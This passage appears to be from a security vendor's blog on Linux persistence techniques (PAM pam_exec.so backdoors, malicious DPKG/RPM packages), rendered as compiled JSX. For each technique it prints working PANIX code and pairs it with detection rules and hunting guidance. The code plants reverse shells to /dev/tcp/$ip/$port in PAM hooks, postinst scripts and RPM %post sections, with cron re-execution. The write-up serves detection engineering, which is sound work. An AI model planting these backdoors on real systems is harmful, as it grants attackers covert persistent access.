fails:\",`\n`,(0,n.jsxs)(e.ul,{children:[`\n`,(0,n.jsx)(e.li,{children:(0,n.jsx)(e.code,{children:\"auth requisite pam_deny.so\"})}),`\n`]}),`\n`]}),`\n`,(0,n.jsxs)(e.li,{children:[\"The \",(0,n.jsx)(e.code,{children:\"required\"}),\" flag ensures the module must succeed for authentication to proceed, though subsequent modules in the stack will still execute:\",`\n`,(0,n.jsxs)(e.ul,{children:[`\n`,(0,n.jsx)(e.li,{children:(0,n.jsx)(e.code,{children:\"auth required pam_permit.so\"})}),`\n`]}),`\n`]}),`\n`]}),`\n`,(0,n.jsxs)(e.p,{children:[\"Modules such as \",(0,n.jsx)(e.code,{children:\"pam_unix.so\"}),\" handle traditional UNIX authentication by validating user credentials against \",(0,n.jsx)(e.code,{children:\"/etc/shadow\"}),\". Together, these components define the authentication process and dictate how the system responds to various conditions. For more information and examples, visit the \",(0,n.jsx)(e.a,{href:\"https://linux.die.net/man/5/pam.d\",rel:\"nofollow\",children:\"pam.d man page\"}),\".\"]}),`\n`,(0,n.jsxs)(e.p,{children:[\"One way of abusing this mechanism is by leveraging the \",(0,n.jsx)(e.code,{children:\"pam_exec.so\"}),\" module to execute an arbitrary script upon authentication through \",(0,n.jsx)(e.code,{children:\"/etc/pam.d/sshd\"}),\". By providing the path to a backdoor script on the host system, we can ensure that our backdoor is executed on every successful SSH authentication. \",(0,n.jsx)(e.a,{href:\"https://www.group-ib.com/\",rel:\"nofollow\",children:\"Group-IB\"}),\" wrote about this technique in a recent publication dubbed \\u201C\",(0,n.jsx)(e.a,{href:\"https://www.group-ib.com/blog/pluggable-authentication-module/\",rel:\"nofollow\",children:(0,n.jsx)(e.em,{children:\"The Duality of the Pluggable Authentication Module (PAM)\"})}),\"\\u201D.\"]}),`\n`,(0,n.jsxs)(e.p,{children:[\"A second method involves the modification of \",(0,n.jsx)(e.code,{children:\"/etc/pam.d/common-auth\"}),\" for Debian-based systems or \",(0,n.jsx)(e.code,{children:\"/etc/pam.d/sshd\"}),\" for Fedora-based systems to log user credentials. This technique was earlier discussed in \",(0,n.jsx)(e.a,{href:\"https://embracethered.com/blog/\",rel:\"nofollow\",children:\"Wunderwuzzi\\u2019s blog\"}),\" called \\u201C\",(0,n.jsx)(e.a,{href:\"https://embracethered.com/blog/posts/2022/post-exploit-pam-ssh-password-grabbing/\",rel:\"nofollow\",children:(0,n.jsx)(e.em,{children:\"Post Exploitation: Sniffing Logon Passwords with PAM\"})}),\"\\u201D. While capturing credentials isn't technically a persistence mechanism, it enables ongoing access to a host by leveraging stolen credentials.\"]}),`\n`,(0,n.jsxs)(e.p,{children:[\"In the next section we will take a look at how to implement arbitrary command execution through \",(0,n.jsx)(e.code,{children:\"pam_exec.so\"}),\" using PANIX.\"]}),`\n`,(0,n.jsx)(e.h3,{id:\"persistence-through-t1556003---pluggable-authentication-modules-pam_execso\",children:\"Persistence through T1556.003 - Pluggable Authentication Modules: pam_exec.so\"}),`\n`,(0,n.jsxs)(e.p,{children:[\"To better understand the technique, we will take a look at the \",(0,n.jsx)(e.a,{href:\"https://github.com/Aegrah/PANIX/blob/main/modules/setup_pam.sh\",rel:\"nofollow\",children:\"setup_pam.sh\"}),\" PANIX module.\"]}),`\n`,(0,n.jsx)(e.pre,{children:(0,n.jsx)(e.code,{children:`echo -e \"#!/bin/bash\\\\nnohup setsid /bin/bash -c '/bin/bash -i \u003e\u0026 /dev/tcp/$ip/$port 0\u003e\u00261' \u0026\" \u003e /bin/pam_exec_backdoor.sh\n\nchmod 700 /bin/pam_exec_backdoor.sh\n\npam_sshd_file=\"/etc/pam.d/sshd\"\npam_line=\"session optional pam_exec.so seteuid /bin/pam_exec_backdoor.sh\"\n`})}),`\n`,(0,n.jsxs)(e.p,{children:[\"The first step is to create the backdoor script to execute, this can be any C2 beacon, reverse shell or other means of persistence. PANIX creates a simple reverse shell and grants it execution permissions. Once the backdoor in \",(0,n.jsx)(e.code,{children:\"/bin/pam_exec_backdoor.sh\"}),\" is in place, the \",(0,n.jsx)(e.code,{children:\"/etc/pam.d/sshd\"}),\" file is modified. The \",(0,n.jsx)(e.code,{children:\"session\"}),\" keyword ensures the script runs during user session setup or teardown, while \",(0,n.jsx)(e.code,{children:\"seteuid\"}),\" ensures the script runs with the effective user ID (\",(0,n.jsx)(e.code,{children:\"eUID\"}),\") of the authenticated user instead of root.\"]}),`\n`,(0,n.jsxs)(e.p,{children:[\"Since the detection methods for the password harvesting module are quite similar to those of the backdoor module, we will focus on discussing the backdoor module in detail. You are encouraged to explore the \",(0,n.jsx)(e.a,{href:\"https://github.com/Aegrah/PANIX/blob/7a9cf39b35b40ee64bfe6b510f685003ebc043ae/modules/setup_pam.sh#L257\",rel:\"nofollow\",children:\"password-harvesting module\"}),\" on your own!\"]}),`\n`,(0,n.jsx)(e.p,{children:\"Let\\u2019s run the PANIX module with the following command line arguments:\"}),`\n`,(0,n.jsx)(e.pre,{children:(0,n.jsx)(e.code,{children:`\u003e sudo ./panix.sh --pam --pam-exec --backdoor --ip 192.168.100.1 --port 2015\n\n[+] Creating reverse shell script at /bin/pam_exec_backdoor.sh...\n[+] /bin/pam_exec_backdoor.sh created and permissions set to 700.\n[+] Modifying /etc/pam.d/sshd to include the PAM_EXEC rule...\n[+] PAM_EXEC rule added to /etc/pam.d/sshd.\n[+] Restarting SSH service to apply changes...\n[+] SSH service restarted successfully.\n[+] PAM_EXEC reverse shell backdoor planted!\n\nAuthenticate to trigger the reverse shell.\n\n[+] PAM persistence established!\n`})}),`\n`,(0,n.jsx)(e.p,{children:\"After triggering the reverse shell by authentication, we can analyze the logs in Discover:\"}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/approaching-the-summit-on-persistence/image3.png\",alt:\"PANIX pam_exec.so module execution visualized in Kibana\",width:\"1639\",height:\"1350\"})}),`\n`,(0,n.jsxs)(e.p,{children:[\"After PANIX executes, it creates and grants execution permissions to the \",(0,n.jsx)(e.code,{children:\"/bin/pam_exec_backdoor.sh\"}),\" backdoor. Next, the backdoor configuration is added to the \",(0,n.jsx)(e.code,{children:\"/etc/pam.d/sshd\"}),\" file, and the \",(0,n.jsx)(e.code,{children:\"SSHD\"}),\" service is restarted. Upon authentication, we can see the execution of the backdoor by the \",(0,n.jsx)(e.code,{children:\"SSHD\"}),\" parent process, starting the reverse shell chain (\",(0,n.jsx)(e.code,{children:\"pam_exec_backdoor.sh\"}),\" \\u2192 \",(0,n.jsx)(e.code,{children:\"nohup\"}),\" \\u2192 \",(0,n.jsx)(e.code,{children:\"setsid\"}),\" \\u2192 \",(0,n.jsx)(e.code,{children:\"bash\"}),\").\"]}),`\n`,(0,n.jsx)(e.p,{children:\"Let\\u2019s review the coverage. The key distinction between this technique and the previous one is that this method relies on configuration changes rather than compiling a new PAM module, requiring a different set of detection rules to address the threat effectively:\"}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.em,{children:\"Detection and endpoint rules that cover pam_exec.so persistence\"})}),`\n`,(0,n.jsx)(e.div,{className:\"table-container\",children:(0,n.jsxs)(e.table,{children:[(0,n.jsx)(e.thead,{children:(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.th,{align:\"left\",children:\"Category\"}),(0,n.jsx)(e.th,{align:\"left\",children:\"Coverage\"})]})}),(0,n.jsxs)(e.tbody,{children:[(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{align:\"left\",children:\"File\"}),(0,n.jsxs)(e.td,{align:\"left\",children:[(0,n.jsx)(e.a,{href:\"https://github.com/elastic/detection-rules/blob/ac541f0b18697e053b3b56544052955d29b440c0/rules/linux/persistence_pluggable_authentication_module_creation.toml\",rel:\"nofollow\",children:\"Creation or Modification of Pluggable Authentication Module or Configuration\"}),\" \",(0,n.jsx)(e.a,{href:\"https://github.com/elastic/detection-rules/blob/ac541f0b18697e053b3b56544052955d29b440c0/rules/integrations/fim/persistence_suspicious_file_modifications.toml\",rel:\"nofollow\",children:\"Potential Persistence via File Modification\"})]})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{align:\"left\",children:\"Process\"}),(0,n.jsxs)(e.td,{align:\"left\",children:[(0,n.jsx)(e.a,{href:\"https://github.com/elastic/protections-artifacts/blob/8a9e857453566068088f5a24cc1f39b839e60fe8/behavior/rules/linux/persistence_potential_backdoor_execution_through_pam_exec.toml\",rel:\"nofollow\",children:\"Potential Backdoor Execution Through PAM_EXEC\"}),\" \",(0,n.jsx)(e.a,{href:\"https://github.com/elastic/detection-rules/blob/e528feb989d8fc7f7ca8c4100c0bf5ca7b912a5d/rules/linux/persistence_unusual_sshd_child_process.toml\",rel:\"nofollow\",children:\"Unusual SSHD Child Process\"})]})]})]})]})}),`\n`,(0,n.jsx)(e.p,{children:\"To revert any changes, you can use the corresponding revert module by running:\"}),`\n`,(0,n.jsx)(e.pre,{children:(0,n.jsx)(e.code,{children:`\u003e ./panix.sh --revert pam\n\n[+] Removing PAM_EXEC backdoor...\n[+] Removed '/bin/pam_exec_backdoor.sh'.\n[+] Removed PAM_EXEC line from '/etc/pam.d/sshd'.\n[+] Restarting SSH service...\n[+] SSH service restarted successfully.\n[-] PAM_EXEC line not found in '/etc/pam.d/common-auth'.\n`})}),`\n`,(0,n.jsx)(e.h3,{id:\"hunting-for-t1556003---pluggable-authentication-modules-pam_execso\",children:\"Hunting for T1556.003 - Pluggable Authentication Modules: pam_exec.so\"}),`\n`,(0,n.jsx)(e.p,{children:\"We can hunt for this technique using ES|QL and OSQuery by focusing on suspicious activity tied to its use. This technique relies on altering PAM configuration files, rather than compilation to execute commands or scripts. The approach includes monitoring for the following:\"}),`\n`,(0,n.jsxs)(e.ul,{children:[`\n`,(0,n.jsxs)(e.li,{children:[(0,n.jsx)(e.strong,{children:\"Child processes spawned from SSH:\"}),\" Tracks processes initiated via SSH sessions, as these may indicate the misuse of \",(0,n.jsx)(e.code,{children:\"pam_exec.so\"}),\" for persistence.\"]}),`\n`,(0,n.jsxs)(e.li,{children:[(0,n.jsx)(e.strong,{children:\"Creations and/or modifications to PAM configuration files:\"}),\" Tracks changes to files in the \",(0,n.jsx)(e.code,{children:\"/etc/pam.d/\"}),\" and \",(0,n.jsx)(e.code,{children:\"/lib/security/\"}),\" directories and the \",(0,n.jsx)(e.code,{children:\"/etc/pam.conf\"}),\" file, which are commonly targeted for PAM persistence.\"]}),`\n`]}),`\n`,(0,n.jsxs)(e.p,{children:[\"By combining the \",(0,n.jsx)(e.a,{href:\"https://github.com/elastic/detection-rules/blob/ac541f0b18697e053b3b56544052955d29b440c0/hunting/linux/docs/persistence_via_pluggable_authentication_module.md\",rel:\"nofollow\",children:\"Persistence via Pluggable Authentication Modules\"}),\" hunting rule with the tailored detection queries listed above, analysts can effectively identify and respond to \",(0,n.jsx)(e.a,{href:\"https://attack.mitre.org/techniques/T1556/003/\",rel:\"nofollow\",children:\"T1556.003\"}),\".\"]}),`\n`,(0,n.jsx)(e.h1,{id:\"t1546016---event-triggered-execution-installer-packages\",children:\"T1546.016 - Event Triggered Execution: Installer Packages\"}),`\n`,(0,n.jsxs)(e.p,{children:[\"Package managers are used to install, update, and manage software packages. While these tools streamline software management, they can also be abused by attackers to gain initial access or achieve persistence. By hijacking the package manager's execution flow, attackers can insert malicious code that executes during routine package management tasks, such as package installation or updates. This technique is tracked by MITRE under the identifier \",(0,n.jsx)(e.a,{href:\"https://attack.mitre.org/techniques/T1546/016/\",rel:\"nofollow\",children:\"T1546.016\"}),\".\"]}),`\n`,(0,n.jsx)(e.h2,{id:\"t1546016---installer-packages-dpkg--rpm\",children:\"T1546.016 - Installer Packages: DPKG \u0026 RPM\"}),`\n`,(0,n.jsxs)(e.p,{children:[\"Popular managers include \",(0,n.jsx)(e.code,{children:\"DPKG\"}),\" (Debian Package) for Debian-based distributions and \",(0,n.jsx)(e.code,{children:\"RPM\"}),\" (Red Hat Package Manager) for Red Hat-based systems.\"]}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.strong,{children:\"1. DPKG (Debian Package Manager)\"})}),`\n`,(0,n.jsxs)(e.p,{children:[(0,n.jsx)(e.code,{children:\"DPKG\"}),\", the Debian package manager, processes \",(0,n.jsx)(e.code,{children:\".deb\"}),\" packages and supports lifecycle scripts such as \",(0,n.jsx)(e.code,{children:\"preinst\"}),\", \",(0,n.jsx)(e.code,{children:\"postinst\"}),\", \",(0,n.jsx)(e.code,{children:\"prerm\"}),\", and \",(0,n.jsx)(e.code,{children:\"postrm\"}),\". These scripts run at different stages of the package lifecycle, making them a potential target for executing malicious commands. A potential DPKG package file structure used for malicious intent could look like this:\"]}),`\n`,(0,n.jsx)(e.pre,{children:(0,n.jsx)(e.code,{children:`malicious_package/\\u251C\\u2500\\u2500 DEBIAN/\n \\u251C\\u2500\\u2500 control\n \\u251C\\u2500\\u2500 postinst\n`})}),`\n`,(0,n.jsxs)(e.p,{children:[\"Where the post-installation script (\",(0,n.jsx)(e.code,{children:\"postinst\"}),\") runs immediately after a package is installed, allowing the attacker to gain initial access or establish persistence through malicious code.\"]}),`\n`,(0,n.jsxs)(e.p,{children:[\"Upon installation, the \",(0,n.jsx)(e.code,{children:\"DPKG\"}),\" scripts (\",(0,n.jsx)(e.code,{children:\"preinst\"}),\", \",(0,n.jsx)(e.code,{children:\"postinst\"}),\", \",(0,n.jsx)(e.code,{children:\"prerm\"}),\", and \",(0,n.jsx)(e.code,{children:\"postrm\"}),\") will be stored in the \",(0,n.jsx)(e.code,{children:\"/var/lib/dpkg/info/\"}),\" directory and executed. Package installation logs are stored in \",(0,n.jsx)(e.code,{children:\"/var/log/dpkg.log\"}),\", and record commands like \",(0,n.jsx)(e.code,{children:\"dpkg -i\"}),\" and the package names.\"]}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.strong,{children:\"2. RPM (Red Hat Package Manager)\"})}),`\n`,(0,n.jsxs)(e.p,{children:[(0,n.jsx)(e.code,{children:\"RPM\"}),\", the Red Hat Package Manager, is the default package manager for Red Hat-based distributions like Fedora, CentOS, and RHEL. It processes \",(0,n.jsx)(e.code,{children:\".rpm\"}),\" packages and supports script sections such as \",(0,n.jsx)(e.code,{children:\"%pre\"}),\", \",(0,n.jsx)(e.code,{children:\"%post\"}),\", \",(0,n.jsx)(e.code,{children:\"%preun\"}),\", and \",(0,n.jsx)(e.code,{children:\"%postun\"}),\", which execute at various stages of the package lifecycle. These scripts can be exploited by attackers to run arbitrary commands during installation, removal, or updates.\"]}),`\n`,(0,n.jsxs)(e.p,{children:[\"A typical malicious RPM package might include a \",(0,n.jsx)(e.code,{children:\"%post\"}),\" script embedded directly in the package\\u2019s \",(0,n.jsx)(e.code,{children:\"spec\"}),\" file. For example, a \",(0,n.jsx)(e.code,{children:\"%post\"}),\" script could launch a reverse shell or modify critical system configurations immediately after the package installation completes. An example package layout could look as follows:\"]}),`\n`,(0,n.jsx)(e.pre,{children:(0,n.jsx)(e.code,{children:`~/rpmbuild/\n\\u251C\\u2500\\u2500 SPECS/\n\\u2502 \\u251C\\u2500\\u2500 malicious_package.spec\n\\u251C\\u2500\\u2500 BUILD/\n\\u251C\\u2500\\u2500 RPMS/\n\\u251C\\u2500\\u2500 SOURCES/\n\\u251C\\u2500\\u2500 SRPMS/\n`})}),`\n`,(0,n.jsxs)(e.p,{children:[\"Upon installation, \",(0,n.jsx)(e.code,{children:\"RPM\"}),\" runs the \",(0,n.jsx)(e.code,{children:\"%post\"}),\" script, allowing the attacker to execute the payload. The package manager logs installation activity in \",(0,n.jsx)(e.code,{children:\"/var/log/rpm.log\"}),\", which includes the names and timestamps of installed packages. Additionally, the built \",(0,n.jsx)(e.code,{children:\"RPM\"}),\" package is stored in \",(0,n.jsx)(e.code,{children:\"/var/lib/rpm/\"}),\".\"]}),`\n`,(0,n.jsx)(e.h3,{id:\"persistence-through-t1546016---installer-packages-dpkg--rpm\",children:\"Persistence through T1546.016 - Installer Packages: DPKG \u0026 RPM\"}),`\n`,(0,n.jsxs)(e.p,{children:[\"PANIX can establish persistence through both \",(0,n.jsx)(e.code,{children:\"DPKG\"}),\" and \",(0,n.jsx)(e.code,{children:\"RPM\"}),\" within the \",(0,n.jsx)(e.a,{href:\"https://github.com/Aegrah/PANIX/blob/ae404d5caf74c772436ccaaa0c3ab51cba8c4250/modules/setup_malicious_package.sh\",rel:\"nofollow\",children:\"setup_malicious_package.sh\"}),\" module. Starting with \",(0,n.jsx)(e.code,{children:\"DPKG\"}),\", the directory structure is created, the control file is written and the payload is added to the \",(0,n.jsx)(e.code,{children:\"postinst\"}),\" file:\"]}),`\n`,(0,n.jsx)(e.pre,{children:(0,n.jsx)(e.code,{children:`# DPKG package setup\nPACKAGE_NAME=\"panix\"\nPACKAGE_VERSION=\"1.0\"\nDEB_DIR=\"\\${PACKAGE_NAME}/DEBIAN\"\nPAYLOAD=\"#!/bin/sh\\\\nnohup setsid bash -c 'bash -i \u003e\u0026 /dev/tcp/\\${ip}/\\${port} 0\u003e\u00261' \u0026\"\n\n# Create directory structure\nmkdir -p \\${DEB_DIR}\n\n# Write postinst script\necho -e \"\\${PAYLOAD}\" \u003e \\${DEB_DIR}/postinst\nchmod +x \\${DEB_DIR}/postinst\n\n# Write control file\necho \"Package: \\${PACKAGE_NAME}\" \u003e \\${DEB_DIR}/control\necho \"Version: \\${PACKAGE_VERSION}\" \u003e\u003e \\${DEB_DIR}/control\necho \"Architecture: all\" \u003e\u003e \\${DEB_DIR}/control\necho \"Maintainer: https://github.com/Aegrah/PANIX\" \u003e\u003e \\${DEB_DIR}/control\necho \"Description: This malicious package was added through PANIX\" \u003e\u003e \\${DEB_DIR}/control\n`})}),`\n`,(0,n.jsxs)(e.p,{children:[\"Afterwards, all that is left is to build the package with \",(0,n.jsx)(e.code,{children:\"dpkg-deb\"}),\" and install it through \",(0,n.jsx)(e.code,{children:\"dpkg\"}),\".\"]}),`\n`,(0,n.jsx)(e.pre,{children:(0,n.jsx)(e.code,{children:`# Build the .deb package\ndpkg-deb --build \\${PACKAGE_NAME}\n\n# Install the .deb package\ndpkg -i \\${PACKAGE_NAME}.deb\n`})}),`\n`,(0,n.jsxs)(e.p,{children:[\"Upon installation, or updating of the package, the payload will be executed. In order to persist on a regular interval, any other persistence mechanism can be used. PANIX leverages \",(0,n.jsx)(e.code,{children:\"Cron\"}),\":\"]}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.code,{children:'echo \"*/1 * * * * /var/lib/dpkg/info/${PACKAGE_NAME}.postinst configure \u003e /dev/null 2\u003e\u00261\" | crontab -'})}),`\n`,(0,n.jsx)(e.p,{children:\"To forcefully install the package on a certain interval. This is of course not a stealthy mechanism, but serves as a proof of concept to emulate the technique. Let\\u2019s run the payload, and analyze the simulated events in Kibana:\"}),`\n`,(0,n.jsx)(e.pre,{children:(0,n.jsx)(e.code,{children:`sudo ./panix.sh --malicious-package --dpkg --ip 192.168.100.1 --port 2019\ndpkg-deb: building package 'panix' in 'panix.deb'.\nPreparing to unpack panix.deb ...\nUnpacking panix (1.0) over (1.0) ...\nSetting up panix (1.0) ...\nnohup: appending output to 'nohup.out'\n[+] Malicious package persistence established.\n`})}),`\n`,(0,n.jsx)(e.p,{children:\"Looking at the events generated in Kibana, we can see the following sequence:\"}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/approaching-the-summit-on-persistence/image2.png\",alt:\"PANIX malicious-package module execution visualized in Kibana (DPKG)\",width:\"1463\",height:\"823\"})}),`\n`,(0,n.jsxs)(e.p,{children:[\"PANIX is executed via \",(0,n.jsx)(e.code,{children:\"sudo\"}),\", after which the \",(0,n.jsx)(e.code,{children:\"postinst\"}),\" and \",(0,n.jsx)(e.code,{children:\"control\"}),\" files are created. The package is then built using \",(0,n.jsx)(e.code,{children:\"dpkg-deb\"}),\", and installed with \",(0,n.jsx)(e.code,{children:\"dpkg -i\"}),\". Here we can see the \",(0,n.jsx)(e.code,{children:\"/var/lib/dpkg/info/panix.postinst\"}),\" executing the reverse shell execution chain (\",(0,n.jsx)(e.code,{children:\"nohup\"}),\" \\u2192 \",(0,n.jsx)(e.code,{children:\"setsid\"}),\" \\u2192 \",(0,n.jsx)(e.code,{children:\"bash\"}),\"). After installation, the \",(0,n.jsx)(e.code,{children:\"crontab\"}),\" is altered to establish persistence on a one-minute interval.\"]}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.strong,{children:\"RPM\"})}),`\n`,(0,n.jsxs)(e.p,{children:[\"For \",(0,n.jsx)(e.code,{children:\"RPM\"}),\", a similar flow as \",(0,n.jsx)(e.code,{children:\"DPKG\"}),\" is leveraged. The package is set up using the correct \",(0,n.jsx)(e.code,{children:\"RPM\"}),\" package structure, and the \",(0,n.jsx)(e.code,{children:\"%post\"}),\" section is set to contain the payload that gets triggered after installation:\"]}),`\n`,(0,n.jsx)(e.pre,{children:(0,n.jsx)(e.code,{children:`# RPM package setup\nPACKAGE_NAME=\"panix\"\nPACKAGE_VERSION=\"1.0\"\ncat \u003c\u003c-EOF \u003e ~/rpmbuild/SPECS/\\${PACKAGE_NAME}.spec\nName: \\${PACKAGE_NAME}\nVersion: \\${PACKAGE_VERSION}\nRelease: 1%{?dist}\nSummary: RPM package with payload script\nLicense: MIT\n\n%description\nRPM package with a payload script that executes a reverse shell.\n\n%prep\n# No need to perform any preparation actions\n\n%install\n# Create directories\nmkdir -p %{buildroot}/usr/bin\n\n%files\n# No need to specify any files here since the payload is embedded\n\n%post\n# Trigger payload after installation\nnohup setsid bash -c 'bash -i \u003e\u0026 /dev/tcp/\\${ip}/\\${port} 0\u003e\u00261' \u0026\n\n%clean\nrm -rf %{buildroot}\n\n%changelog\n* $(date +'%a %b %d %Y') John Doe \u003cjohn.doe@example.com\u003e 1.0-1\n- Initial package creation\n`})}),`\n`,(0,n.jsxs)(e.p,{children:[\"Next, the \",(0,n.jsx)(e.code,{children:\"RPM\"}),\" package is built using \",(0,n.jsx)(e.code,{children:\"rpmbuild\"}),\", and installed with \",(0,n.jsx)(e.code,{children:\"rpm\"}),\":\"]}),`\n`,(0,n.jsx)(e.pre,{children:(0,n.jsx)(e.code,{children:`# Build RPM package\nrpmbuild -bb ~/rpmbuild/SPECS/\\${PACKAGE_NAME}.spec\n\n# Install RPM package with forced overwrite\nVER=$(grep VERSION_ID /etc/os-release | cut -d '\"' -f 2 | cut -d '.' -f 1)\nrpm -i --force ~/rpmbuild/RPMS/x86_64/\\${PACKAGE_NAME}-1.0-1.el\\${VER}.x86_64.rpm\nmv ~/rpmbuild/RPMS/x86_64/\\${PACKAGE_NAME}-1.0-1.el\\${VER}.x86_64.rpm /var/lib/rpm/\\${PACKAGE_NAME}.rpm\n`})}),`\n`,(0,n.jsxs)(e.p,{children:[\"Upon installation, the payload will be executed. Again, the following \",(0,n.jsx)(e.code,{children:\"Cron\"}),\" job is created to ensure persistence on a one-minute interval:\"]}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.code,{children:'echo \"*/1 * * * * rpm -i --force /var/lib/rpm/${PACKAGE_NAME}.rpm \u003e /dev/null 2\u003e\u00261\" | crontab'})}),`\n`,(0,n.jsxs)(e.p,{children:[\"Let\\u2019s examine the traces that the \",(0,n.jsx)(e.code,{children:\"RPM\"}),\" package technique leaves behind:\"]}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/approaching-the-summit-on-persistence/image5.png\",alt:\"PANIX malicious-package module execution visualized in Kibana (RPM)\",width:\"1485\",height:\"1266\"})}),`\n`,(0,n.jsxs)(e.p,{children:[\"Upon PANIX execution, the \",(0,n.jsx)(e.code,{children:\"panix.spec\"}),\" file is created and populated. Next, \",(0,n.jsx)(e.code,{children:\"rpmbuild\"}),\" is used to build the package, and \",(0,n.jsx)(e.code,{children:\"rpm -i\"}),\" is executed to install the package. Upon installation, the \",(0,n.jsx)(e.code,{children:\"%post\"}),\" payload is executed, leading to an execution of the reverse shell chain (\",(0,n.jsx)(e.code,{children:\"nohup\"}),\" \\u2192 \",(0,n.jsx)(e.code,{children:\"setsid\"}),\" \\u2192 \",(0,n.jsx)(e.code,{children:\"bash\"}),\") with a \",(0,n.jsx)(e.code,{children:\"process.parent.command_line\"}),\" of \",(0,n.jsx)(e.code,{children:\"/bin/sh /var/tmp/rpm-tmp.HjtRV5 1\"}),\", indicating the execution of an \",(0,n.jsx)(e.code,{children:\"RPM\"}),\" package. After installation, \",(0,n.jsx)(e.code,{children:\"Crontab\"}),\" is altered to execute the payload once, at one minute intervals for consistency.\",(0,n.jsx)(e.br,{}),`\n`,\"Let\\u2019s take a look at the coverage:\"]}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.em,{children:\"Detection and endpoint rules that cover installer package (DPKG \u0026 RPM) persistence\"})}),`\n`,(0,n.jsx)(e.div,{className:\"table-container\",children:(0,n.jsxs)(e.table,{children:[(0,n.jsx)(e.thead,{children:(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.th,{align:\"left\",children:\"Category\"}),(0,n.jsx)(e.th,{align:\"left\",children:\"Coverage\"})]})}),(0,n.jsxs)(e.tbody,{children:[(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{align:\"left\",children:\"Process\"}),(0,n.jsxs)(e.td,{align:\"left\",children:[(0,n.jsx)(e.a,{href:\"https://github.com/elastic/detection-rules/blob/2ff2965cb96be49e316a2e928c74afd16e1b3554/rules/linux/persistence_rpm_package_installation_from_unusual_parent.toml\",rel:\"nofollow\",children:\"RPM Package Installed by Unusual Parent Process\"}),\" \",(0,n.jsx)(e.a,{href:\"https://github.com/elastic/detection-rules/blob/2ff2965cb96be49e316a2e928c74afd16e1b3554/rules/linux/persistence_dpkg_unusual_execution.toml\",rel:\"nofollow\",children:\"Unusual DPKG Execution\"}),\" \",(0,n.jsx)(e.a,{href:\"https://github.com/elastic/detection-rules/blob/2ff2965cb96be49e316a2e928c74afd16e1b3554/rules/linux/persistence_dpkg_package_installation_from_unusual_parent.toml\",rel:\"nofollow\",children:\"DPKG Package Installed by Unusual Parent Process\"})]})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{align:\"left\",children:\"Network\"}),(0,n.jsxs)(e.td,{align:\"left\",children:[(0,n.jsx)(e.a,{href:\"https://github.com/elastic/protections-artifacts/blob/065efe897b511e9df5116f9f96b6cbabb68bf1e4/behavior/rules/linux/persistence_egress_network_connection_from_default_dpkg_directory.toml\",rel:\"nofollow\",children:\"Egress Network Connection from Default DPKG Directory\"}),\" \",(0,n.jsx)(e.a,{href:\"https://github.com/elastic/protections-artifacts/blob/065efe897b511e9df5116f9f96b6cbabb68bf1e4/behavior/rules/linux/persistence_egress_network_connection_from_rpm_package.toml\",rel:\"nofollow\",children:\"Egress Network Connection from RPM Package\"})]})]})]})]})}),`\n`,(0,n.jsx)(e.p,{children:\"You can revert the changes made by PANIX by running the following revert command:\"}),`\n`,(0,n.jsx)(e.pre,{children:(0,n.jsx)(e.code,{children:`\u003e ./panix.sh --revert malicious-package\n\n[+] Reverting malicious package...\n[+] Removing DPKG package 'panix'...\n[+] DPKG package 'panix' removed successfully.\n[+] Removing cron job associated with 'panix'...\n[+] Cron job removed.\n[+] Cleaning up '/var/lib/dpkg/info'...\n[+] Cleanup completed.\n`})}),`\n`,(0,n.jsx)(e.h3,{id:\"hunting-for-t1546016---installer-packages-dpkg--rpm\",children:\"Hunting for T1546.016 - Installer Packages: DPKG \u0026 RPM\"}),`\n`,(0,n.jsx)(e.p,{children:\"We can hunt for this technique using ES|QL and OSQuery by focusing on suspicious activity tied to package management tools. The approach includes monitoring for the following:\"}),`\n`,(0,n.jsxs)(e.ul,{children:[`\n`,(0,n.jsxs)(e.li,{children:[(0,n.jsx)(e.strong,{children:\"File creation or modification in package management directories:\"}),\" Tracks unusual changes to files in paths like \",(0,n.jsx)(e.code,{children:\"/var/lib/dpkg/info/\"}),\" and \",(0,n.jsx)(e.code,{children:\"/var/lib/rpm/\"}),\", excluding common benign patterns such as checksum or list files.\"]}),`\n`,(0,n.jsxs)(e.li,{children:[(0,n.jsx)(e.strong,{children:\"Processes executed from lifecycle scripts:\"}),\" Observes commands and processes launched from directories like \",(0,n.jsx)(e.code,{children:\"/var/tmp/rpm-tmp.*\"}),\" and \",(0,n.jsx)(e.code,{children:\"/var/lib/dpkg/info/\"}),\", which may indicate suspicious or unauthorized activity.\"]}),`\n`,(0,n.jsxs)(e.li,{children:[(0,n.jsx)(e.strong,{children:\"Detailed metadata on modified files:\"}),\" Uses OSQuery to gather additional file metadata, including ownership and timestamps, for forensic analysis of package management activity.\"]}),`\n`]}),`\n`,(0,n.jsxs)(e.p,{children:[\"By combining the \",(0,n.jsx)(e.a,{href:\"https://github.com/elastic/detection-rules/blob/ac541f0b18697e053b3b56544052955d29b440c0/hunting/linux/docs/persistence_via_rpm_dpkg_installer_packages.md\",rel:\"nofollow\",children:\"Persistence via DPKG/RPM Package\"}),\" hunting rule with the tailored detection queries listed above, analysts can effectively identify and respond to \",(0,n.jsx)(e.a,{href:\"https://attack.mitre.org/techniques/T1546/016/\",rel:\"nofollow\",children:\"T1546.016\"}),\".\"]}),`\n`,(0,n.jsx)(e.h1,{id:\"t1610---deploy-container\",children:\"T1610 - Deploy Container\"}),`\n`,(0,n.jsxs)(e.p,{children:[\"Host escape involves exploiting vulnerabilities, misconfigurations, or excessive permissions in containerized or virtualized environments to gain access to the underlying host system. Technologies like Docker, Kubernetes, and VMware aim to isolate workloads, but improper configurations or shared resources can allow attackers to break out of the container and compromise the host. MITRE tracks container deployment under identifier 